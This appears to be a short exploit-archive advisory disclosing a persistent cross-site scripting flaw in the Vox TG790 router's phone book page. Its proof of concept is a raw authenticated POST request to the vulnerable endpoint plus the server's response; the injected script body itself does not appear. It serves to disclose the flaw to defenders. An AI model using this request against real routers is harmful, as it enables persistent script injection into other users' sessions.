Vox TG790 ADSL Router Cross Site Scripting

The Vox TG790 ADSL router suffers from a cross site scripting vulnerability.

MD5 | 5ee941c572227032fa21ff2a33527220

# Title: Vox TG790 ADSL Router - Cross-Site Scripting
# Author: Cakes
# Exploit Date: 2018-08-01
# Vendor: Vox Telecom
# Link: https://www.vox.co.za/
# Firmware Version: 6.2.W.1
# CVE: N/A

# Description
# Due to improper user iunput management low privilege users are able to create
# a persistent Cross-Site scripting attack via the phone book function.

# PoC
POST /cgi/b/_voip_/phonebook/?be=0&l0=2&l1=1&name= HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Authorization: Digest username="cakes", realm="SpeedTouch", nonce="0745EHNLF:00-1D-68-52-6C-37:173934:292999", uri="/cgi/b/_voip_/phonebook/?be=0&l0=2&l1=1&name=", response="ab09b54d4b6369496463eb79cfb4b1c2", qop=auth, nc=0000002a, cnonce="8305e26a71dd0ae2"
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141


# Response
HTTP/1.0 200 OK
Cache-Control: no-cache
Expires: -1
Content-Type: text/html

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